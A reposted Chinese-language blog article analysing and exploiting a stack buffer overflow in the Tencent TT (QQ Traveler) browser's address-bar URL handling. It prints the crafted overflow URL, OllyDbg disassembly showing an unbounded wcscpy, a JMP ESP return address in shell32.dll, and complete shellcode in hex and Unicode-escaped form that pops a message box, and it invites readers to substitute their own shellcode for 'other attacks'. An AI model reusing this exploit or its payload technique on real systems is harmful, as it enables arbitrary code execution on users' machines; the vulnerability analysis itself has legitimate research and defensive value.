QQ Traveler漏洞分析与利用

来源:互联网 发布:core java 中文版 pdf 编辑:程序博客网 时间:2024/05/07 01:59

漏洞概述
腾讯TT(QQ Traveler)是一款多页面浏览器,具有亲切、友好的用户界面,提供多种皮肤供用户根据个人喜好使用,另外TT更是新增了多项人性化的特色功能,使上网冲浪变的更加轻松自如、省时省力。智能屏蔽一键开通, 最近浏览一键找回,多页面一键打开,浏览记录一键清除,多种皮肤随心变换,多线程高速旋风下载。
腾讯TT在处理地址栏输入的URL时,存在栈溢出漏洞。虽然其处理过程中对URL进行了Unicode编码,但是经过精心的构造,还是可以构造出可见的 Unicode字符串,来控制EIP指令寄存器,并构造支持Unicodeshellcode。这一点已经得到我们的证实!

漏洞分析
构造的URL如下:

以下是引用片段:
http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeefffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffggggggggggggggggggggggggggg ... hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh


其中蠀緑是7DD1 8800这个十六进制的unicode码,这个地址指向Window XPshell32.dll中的某个JMP ESP指令的地址;
剩下的蓝色部分是一段支持unicodeshellcode,这段shellcodefailwest大侠所作,可以自动加载user32.dll动态链接库,并弹出对话框,显示"failwest"
因此,如果把上面的url填入腾讯TT的地址栏,并执行了shellcode,即弹出了对话框,那么就可以说明这个漏洞的存在,下面是实验结果的截图:


因此可以证明这个漏洞的存在,下面我们用ollyDBG来跟踪分析一下:


0053AE1D |. 8B35 30825600 MOV ESI,DWORD PTR DS:[] ; msvcrt.wcslen
0053AE23 |. 55 PUSH EBP ; /s 指向URL的堆地址
0053AE24 |. FFD6 CALL ESI ; /wcslen 进行长度URL的计算
0053AE26 |. 83C4 04 ADD ESP,4
0053AE29 |. 85C0 TEST EAX,EAX EAX此时是URL的长度
0053AE2B |. 0F84 3B010000 JE TTravele.0053AF6C ;如果URL的长度为0,则退出
0053AE31 |. 68 D0CA5A00 PUSH TTravele.005ACAD0 ; /wstr2 = "about:blank"
0053AE36 |. 55 PUSH EBP ; |wstr1
0053AE37 |. FF15 38825600 CALL DWORD PTR DS:[] ; /_wcsicmp URL"about:blank"比较
0053AE3D |. 83C4 08 ADD ESP,8
0053AE40 |. 85C0 TEST EAX,EAX ;如果URL"about:blank"相同
0053AE42 |. 0F84 24010000 JE TTravele.0053AF6C ;就退出
0053AE48 |. A1 E4125C00 MOV EAX,DWORD PTR DS:[5C12E4]
0053AE4D |. 33DB XOR EBX,EBX
0053AE4F |. 85C0 TEST EAX,EAX
0053AE51 |. 76 32 JBE SHORT TTravele.0053AE85 ;跳0053AE85
0053AE53 |. BF 00705B00 MOV EDI,TTravele.005B7000
0053AE58 |> 55 /PUSH EBP ; /wstr2
0053AE59 |. 57 |PUSH EDI ; |wstr1
0053AE5A |. FF15 38825600 |CALL DWORD PTR DS:[] ; /_wcsicmp
0053AE60 |. 83C4 08 |ADD ESP,8
0053AE63 |. 85C0 |TEST EAX,EAX
0053AE65 |. 74 12 |JE SHORT TTravele.0053AE79
0053AE67 |. A1 E4125C00 |MOV EAX,DWORD PTR DS:[5C12E4]
0053AE6C |. 43 |INC EBX
0053AE6D |. 81C7 4A100000 |ADD EDI,104A
0053AE73 |. 3BD8 |CMP EBX,EAX
0053AE75 |.^72 E1 /JB SHORT TTravele.0053AE58
0053AE77 |. EB 0C JMP SHORT TTravele.0053AE85
0053AE79 |> 3B1D E4125C00 CMP EBX,DWORD PTR DS:[5C12E4]
0053AE7F |. 0F82 E7000000 JB TTravele.0053AF6C
0053AE85 |> 8B1D 2C825600 MOV EBX,DWORD PTR DS:[] ; msvcrt.wcscpy
0053AE8B |. 8D4424 10 LEA EAX,DWORD PTR SS:[ESP+10]
0053AE8F |. 55 PUSH EBP ; /src指向URL的堆地址
0053AE90 |. 50 PUSH EAX ; |dest指向栈帧中的一个栈地址
0053AE91 |. FFD3 CALL EBX ; /wcscpy 复制URL到栈中
0053AE93 |. 8D4C24 18 LEA ECX,DWORD PTR SS:[ESP+18]
0053AE97 |. 51 PUSH ECX
0053AE98 |. FFD6 CALL ESI
通过上面的分析,可以看出程序仅判断了地址栏输入的URL的长度是否为0,但是没有对URL长度的上限进行判断。这是导致最后栈溢出的根本原因!
那么我们只要算好地址,正好淹没了函数的返回地址即可,并在返回地址后紧跟着我们编制好的支持unicodeshellcode,也就是说我们玩的是JMP ESP这种经典的栈溢出跳shellcode的方法!

漏洞利用
作为演示,这里仅利用这个漏洞来弹出一个对话框,shellcode作者是failwest
"/x68/x6A/x0A/x38/x1E/x68/x63/x89/xD1/x4F/x68/x32/x74/x91/x0C/x8B"
"/xF4/x8D/x7E/xF4/x33/xDB/xB7/x04/x2B/xE3/x66/xBB/x33/x32/x53/x68"
"/x75/x73/x65/x72/x54/x33/xD2/x64/x8B/x5A/x30/x8B/x4B/x0C/x8B/x49"
"/x1C/x8B/x09/x8B/x69/x08/xAD/x3D/x6A/x0A/x38/x1E/x75/x05/x95/xFF"
"/x57/xF8/x95/x60/x8B/x45/x3C/x8B/x4C/x05/x78/x03/xCD/x8B/x59/x20"
"/x03/xDD/x33/xFF/x47/x8B/x34/xBB/x03/xF5/x99/x0F/xBE/x06/x3A/xC4"
"/x74/x08/xC1/xCA/x07/x03/xD0/x46/xEB/xF1/x3B/x54/x24/x1C/x75/xE4"
"/x8B/x59/x24/x03/xDD/x66/x8B/x3C/x7B/x8B/x59/x1C/x03/xDD/x03/x2C"
"/xBB/x95/x5F/xAB/x57/x61/x3D/x6A/x0A/x38/x1E/x75/xA9/x33/xDB/x53"
"/x68/x77/x65/x73/x74/x68/x66/x61/x69/x6C/x8B/xC4/x53/x50/x50/x53"
"/xFF/x57/xFC/x53/xFF/x57/xF8";
写成unicode的形式如下:(每两个字节进行首字节与尾字节颠倒即可)
%u6A68%u380A%u681E%u8963%u4FD1%u3268%u9174%u8B0C%u8DF4%uF47E%uDB33%u04B7%uE32B%uBB66%u3233%u6853%u7375%u7265%u3354%u64D2%u5A8B%u8B30%u0C4B%u498B%u8B1C%u8B09%u0869%u3DAD%u0A6A%u1E38%u0575%uFF95%uF857%u6095%u458B%u8B3C%u054C%u0378%u8BCD%u2059%uDD03%uFF33%u8B47%uBB34%uF503%u0F99%u06BE%uC43A%u0874%uCAC1%u0307%u46D0%uF1EB%u543B%u1C24%uE475%u598B%u0324%u66DD%u3C8B%u8B7B%u1C59%uDD03%u2C03%u95BB%uAB5F%u6157%u6A3D%u380A%u751E%u33A9%u53DB%u7768%u7365%u6874%u6166%u6C69%uC48B%u5053%u5350%u57FF%u53FC%u57FF
shellcodeunicode的转换,我已经写好了工具,运行一下那个程序,就可以把同目录下的sc.txt(不含"/x"shellcode字符文件)转换成unicode的形式,生成unicode.txt文件!
如要进行其他攻击,请先写好支持Unicodeshellcode,然后用我的工具,转换成unicode形式,并把unicode形式的 shellcode追加到上面的URL中蠀緑后即可。具体支持unicode shellcode的编写,请参考以下链接:
Unicode编码表:http://www.wiki.cn/wiki/Unicode%E7%BC%96%E7%A0%81%E8%A1%A8/0000-0FFF

Unicode shellcodehttp://arhiva.elitesecurity.org/t80431-Unicode-shellcode

Creating Arbitrary Shellcode In Unicode Expanded Stringshttp://www.nextgenss.com/papers/unicode 
原创粉丝点击